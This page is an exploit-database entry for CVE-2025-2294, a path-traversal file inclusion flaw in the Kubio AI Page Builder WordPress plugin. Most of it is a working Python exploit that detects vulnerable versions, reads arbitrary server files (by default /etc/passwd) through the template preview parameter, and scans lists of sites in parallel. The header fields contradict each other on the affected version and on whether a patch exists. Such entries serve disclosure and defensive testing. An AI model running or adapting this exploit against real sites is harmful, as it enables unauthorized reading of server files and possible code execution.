header-logo
Suggest Exploit
vendor:
Kubio AI Page Builder
by:
Sheikh Mohammad Hasan
6.1
CVSS
HIGH
Local File Inclusion (LFI)
22
CWE
Product Name: Kubio AI Page Builder
Affected Version From: 2.5.2001
Affected Version To: 2.5.2001
Patch Exists: NO
Related CWE: CVE-2025-2294
CPE: a:wordpress:kubio:2.5.1
Metasploit:
Platforms Tested: WordPress 6.4.2 (Ubuntu 22.04 LTS)
2025

Kubio AI Page Builder <= 2.5.1 - Local File Inclusion (LFI)

The Kubio AI Page Builder plugin for WordPress version 2.5.1 and below is vulnerable to Local File Inclusion (LFI) in the `kubio_hybrid_theme_load_template` function. This allows unauthorized attackers to read arbitrary files through path traversal, potentially leading to Remote Code Execution (RCE) when combined with file upload capabilities.

Mitigation:

Update to version 2.5.2 or later to mitigate this vulnerability. Avoid untrusted file uploads and ensure proper input validation to prevent LFI attacks.
Source

Exploit-DB raw data:

# Exploit Title: Kubio AI Page Builder <= 2.5.1 - Local File Inclusion (LFI)
# Date: 2025-04-04
# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)
# Vendor Homepage: https://wordpress.org/plugins/kubio/
# Software Link: https://downloads.wordpress.org/plugin/kubio.2.5.1.zip
# Reference: https://www.cve.org/CVERecord?id=CVE-2025-2294
# Version: <= 2.5.1
# Tested on: WordPress 6.4.2 (Ubuntu 22.04 LTS)
# CVE: CVE-2025-2294

"""
Description:

The Kubio AI Page Builder plugin for WordPress contains a Local File Inclusion vulnerability
in the `kubio_hybrid_theme_load_template` function. This allows unauthenticated attackers to
read arbitrary files via path traversal. Can lead to RCE when combined with file upload capabilities.
"""

import argparse
import re
import requests
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor

class Colors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def parse_version(version_str):
    parts = list(map(int, version_str.split('.')))
    while len(parts) < 3:
        parts.append(0)
    return tuple(parts[:3])

def check_plugin_version(target_url):
    readme_url = urljoin(target_url, 'wp-content/plugins/kubio/readme.txt')
    try:
        response = requests.get(readme_url, timeout=10)
        if response.status_code == 200:
            version_match = re.search(r'Stable tag:\s*([\d.]+)', response.text, re.I)
            if not version_match:
                return False, "Version not found"
            version_str = version_match.group(1).strip()
            try:
                parsed_version = parse_version(version_str)
            except ValueError:
                return False, f"Invalid version format: {version_str}"
            return parsed_version <= (2, 5, 1), version_str
        return False, f"HTTP Error {response.status_code}"
    except Exception as e:
        return False, f"Connection error: {str(e)}"

def exploit_vulnerability(target_url, file_path, show_content=False):
    exploit_url = f"{target_url}/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template={file_path}"
    try:
        response = requests.get(exploit_url, timeout=10)
        if response.status_code == 200:
            if show_content:
                print(f"\n{Colors.OKGREEN}[+] File content from {target_url}:{Colors.ENDC}")
                print(Colors.OKBLUE + response.text + Colors.ENDC)
            return True
        return False
    except Exception as e:
        return False

def process_url(url, file_path, show_content, output_file):
    print(f"{Colors.HEADER}[*] Checking: {url}{Colors.ENDC}")
    is_vuln, version_info = check_plugin_version(url)
    
    if is_vuln:
        print(f"{Colors.OKGREEN}[+] Vulnerable: {url} (Version: {version_info}){Colors.ENDC}")
        exploit_success = exploit_vulnerability(url, file_path, show_content)
        if output_file and exploit_success:
            with open(output_file, 'a') as f:
                f.write(f"{url}\n")
        return url if exploit_success else None
    else:
        print(f"{Colors.FAIL}[-] Not vulnerable: {url} ({version_info}){Colors.ENDC}")
        return None

def main():
    parser = argparse.ArgumentParser(description="Kubio Plugin Vulnerability Scanner")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url", help="Single target URL (always shows file content)")
    group.add_argument("-l", "--list", help="File containing list of URLs")
    parser.add_argument("-f", "--file", default="../../../../../../../../etc/passwd",
                      help="File path to exploit (default: ../../../../../../../../etc/passwd)")
    parser.add_argument("-o", "--output", help="Output file to save vulnerable URLs")
    parser.add_argument("-v", "--verbose", action="store_true", 
                      help="Show file contents when using -l/--list mode")
    parser.add_argument("-t", "--threads", type=int, default=5, 
                      help="Number of concurrent threads for list mode")
    
    args = parser.parse_args()

    # Determine operation mode
    if args.url:
        # Single URL mode - always show content
        process_url(args.url, args.file, show_content=True, output_file=args.output)
    elif args.list:
        # List mode - handle multiple URLs
        with open(args.list, 'r') as f:
            urls = [line.strip() for line in f.readlines() if line.strip()]

        print(f"{Colors.BOLD}[*] Starting scan with {len(urls)} targets...{Colors.ENDC}")

        with ThreadPoolExecutor(max_workers=args.threads) as executor:
            futures = []
            for url in urls:
                futures.append(
                    executor.submit(
                        process_url,
                        url,
                        args.file,
                        args.verbose,
                        args.output
                    )
                )

            vulnerable_urls = [future.result() for future in futures if future.result()]

        print(f"\n{Colors.BOLD}[*] Scan complete!{Colors.ENDC}")
        print(f"{Colors.OKGREEN}[+] Total vulnerable URLs found: {len(vulnerable_urls)}{Colors.ENDC}")
        if args.output:
            print(f"{Colors.OKBLUE}[+] Vulnerable URLs saved to: {args.output}{Colors.ENDC}")

if __name__ == "__main__":
    main()